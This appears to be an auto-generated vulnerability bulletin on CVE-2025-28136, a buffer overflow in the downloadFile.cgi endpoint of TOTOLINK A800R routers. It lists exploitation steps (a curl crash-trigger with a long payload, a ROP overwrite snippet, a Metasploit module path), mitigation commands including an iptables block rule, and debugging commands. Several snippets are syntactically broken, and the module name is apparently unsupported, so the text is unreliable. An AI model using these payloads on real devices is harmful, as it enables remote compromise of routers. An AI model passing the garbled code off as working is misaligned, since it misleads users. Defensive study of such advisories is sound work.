How CVE-2025-28136 Works
The CVE-2025-28136 vulnerability in TOTOLINK A800R V4.1.2cu.5137_B20200730 arises due to improper bounds checking in the `downloadFile.cgi` component. Attackers can exploit this buffer overflow by sending an overly long HTTP request to the CGI endpoint, causing a stack-based overflow. This allows arbitrary code execution with root privileges since the CGI script runs as a high-privileged process. The lack of input validation and secure coding practices enables remote attackers to overwrite critical memory addresses, potentially leading to full device compromise.
DailyCVE Form
Platform: TOTOLINK A800R
Version: V4.1.2cu.5137_B20200730
Vulnerability: Buffer Overflow
Severity: Critical
Date: 04/30/2025
What Undercode Say:
Exploitation
1. Crash Verification:
curl -X POST http://<TARGET_IP>/downloadFile.cgi -d "filename=$(python -c 'print("A"5000)')"
2. ROP Chain Payload:
import struct
payload = b"A"1024 + struct.pack("<I", 0xdeadbeef) Overwrite return address
3. Metasploit Module:
exploit/unix/http/totolink_a800r_buffer_overflow
Protection
1. Input Validation Patch:
if (strlen(filename) > MAX_PATH) exit(1);
2. Firmware Update:
wget http://vendor.com/patched_firmware.bin
3. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "downloadFile.cgi" -j DROP
Analysis
1. GDB Debugging:
gdb -q /usr/bin/downloadFile.cgi
2. Crash Dump:
dmesg | grep "segfault"
3. Exploit Check:
checksec --file=/usr/bin/downloadFile.cgi
References
– MITRE CVE-2025-28136
– NVD Entry
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
